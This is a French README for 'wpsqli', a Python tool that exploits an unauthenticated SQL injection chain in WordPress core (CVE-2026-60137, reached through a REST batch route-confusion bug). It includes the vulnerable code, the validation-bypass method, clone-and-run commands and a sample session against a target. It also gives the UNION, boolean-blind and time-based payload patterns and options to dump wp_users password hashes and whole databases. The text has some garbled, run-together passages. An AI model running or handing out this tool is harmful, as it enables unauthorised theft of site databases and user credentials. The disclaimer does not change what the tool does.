
wpsqli full SQLi extractor + dumper for CVE-2026-60137
Un outil rapide d'extraction de bases de données, piloté par menu, exploitant la vulnérabilité d'injection SQL
author__not_indans le cœur de WordPress. Cet outil se concentre uniquement sur l'énumération et l'extraction de bases de données, en utilisant la confusion de route du lot REST (CVE-2026-63030) pour atteindre le sink SQLi sans authentification.
wpsqli est un outil 100 % Python conçu pour exploiter une chaîne de vulnérabilités dans le cœur de WordPress permettant une injection SQL non authentifiée dans la base de données. Il contourne la validation de l'API REST de WordPress via un bug de confusion de route de lot, en délivrant une charge utile brute sous forme de chaîne directement au sink SQL de WP_Query.
Cet outil est conçu pour la rapidité et la flexibilité : il tente automatiquement l'extraction en bande basée sur UNION (instantanée), se replie sur l'extraction aveugle booléenne parallèle à 8 threads, puis enfin sur l'extraction temporelle séquentielle si nécessaire.
Cet outil enchaîne deux vulnérabilités indépendantes pour parvenir à une extraction de base de données non authentifiée :
author__not_in (CVE-2026-60137)Emplacement : wp-includes/class-wp-query.php, WP_Query::get_posts()
Le paramètre author__not_in n'applique la désinfection absint() que si l'entrée est un tableau. Si une chaîne est transmise, le garde-fou is_array() est contourné, la chaîne traverse implode() sans modification et est concaténée brute dans la clause SQL $where.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
Le point de terminaison posts de l'API REST mappe author_exclude vers author__not_in mais le déclare comme type => 'array' d'entiers, donc le cœur force/rejette une chaîne. Le bug B fait passer la chaîne au-delà de la validation en abusant d'un bug de désynchronisation dans le point de terminaison de lot REST (/wp-json/batch/v1). En injectant une amorce de chemin malformée que wp_parse_url() rejette, un WP_Error est placé dans la liste de requêtes du lot, désynchronisant $matches de $validation. Cela permet à une sous-requête suivante d'être distribuée sous le mauvais gestionnaire sans validation des paramètres.
Avertissement : le sink SQLi n'est atteint que lorsqu'un cache d'objets persistant (Redis/Memcached) n'est PAS utilisé.
pip install requis.wp_posts pour extraire des chaînes entières en une seule requête HTTP (instantané).Ctrl+C pendant l'extraction arrête la requête en cours et retourne les résultats partiels sans faire planter la session.ID|user_login|user_pass avec des hachages bcrypt prêts pour hashcat -m 35500.Aucune installation requise. Il suffit de télécharger et d'exécuter :
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
Prérequis :
Lancez le menu interactif :
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| Option | Description |
|---|---|
0 | Se connecter à une cible (assainit automatiquement les URL) |
1 | Vérifier la vulnérabilité et le mode d'extraction actif |
| Option | Description |
|---|---|
9 | Lister toutes les bases de données du serveur MySQL |
10 | Lister toutes les tables de la base courante ou spécifiée |
11 | Lister tous les noms de colonnes d'une table spécifique |
| Option | Description |
|---|---|
12 | Extraire une seule table (avec limite de lignes et sauvegarde de fichier optionnelles) |
13 | Extraire toutes les tables de la base de données courante |
14 | Extraction nucléaire complète — toutes les tables + toutes les lignes vers un fichier horodaté |
L'outil tente automatiquement trois modes d'extraction par ordre de vitesse :
Forge une fausse ligne wp_posts avec la valeur extraite encodée en hexadécimal dans la colonne post_title (enveloppée dans des marqueurs ||..||). L'API REST la renvoie dans la réponse — chaîne entière en une seule requête HTTP.
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) pour encoder le résultatSi UNION n'est pas disponible, utilise 8 threads parallèles avec recherche binaire pour extraire chaque caractère. L'oracle booléen vérifie si le AND (condition) injecté retourne des lignes.
Solution de repli si l'oracle booléen ne retourne aucune ligne (par ex., site avec 0 article publié). Utilise IF(condition, SLEEP(N), 0) pour encoder la vérité dans la latence de réponse.
Cet outil est conçu uniquement pour des tests de sécurité autorisés et à des fins éducatives. Vous ne devez utiliser cet outil que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite pour effectuer des tests. L'accès non autorisé à des systèmes informatiques est illégal.
Les auteurs et contributeurs de cet outil ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Utilisation à vos propres risques
Cet outil est fourni uniquement à des fins éducatives et de test autorisé.
| Plage de versions | Statut |
|---|
| 6.8.0 – 6.8.5 | Bug SQLi présent, mais chaîne NON accessible (confusion de lot introduite en 6.9.0) |
| 6.9.0 – 6.9.4 | VULNÉRABLE — chaîne complète sans authentification |
| 7.0.0 – 7.0.1 | VULNÉRABLE — chaîne complète sans authentification |
| 6.8.6 | Corrigé (SQLi) |
| 6.9.5 | Corrigé |
| 7.0.2 | Corrigé |
| 7.1-beta2+ | Corrigé |
| Option | Description |
|---|
2 | Extraire la version MySQL (SELECT @@version) |
3 | Extraire le nom de la base de données courante (SELECT DATABASE()) |
4 | Extraire l'utilisateur actuel de la base de données (SELECT CURRENT_USER()) |
5 | Extraire le préfixe des tables WordPress |
6 | Extraire la table wp_users (ID, login, hachage du mot de passe) |
7 | Exécuter une requête SQL personnalisée |
8 | Exécuter toutes les empreintes (options 2 à 5) en séquence |
| Mode | Requêtes HTTP par requête | Vitesse | Cas d'utilisation |
|---|
| UNION | 1 | Instantanée | Aucun cache d'objets, nombre de colonnes correspondant |
| Booléen (8 threads) | ~7 × longueur_chaîne / 8 | Rapide | UNION bloquée, présence de lignes |
| Temporel | ~7 × délai × longueur_chaîne | Lente | Aucune ligne pour l'oracle booléen |
| Extraction | Caractères | Requêtes | Temps |
|---|
| Version MySQL | ~20 | ~140 | ~15s |
| Nom de la base de données | ~15 | ~105 | ~12s |
| Utilisateur de la base de données | ~25 | ~175 | ~20s |
| Préfixe des tables | ~5 | ~35 | ~5s |
| Ligne wp_users (200 caractères) | 200 | ~1400 | ~2min |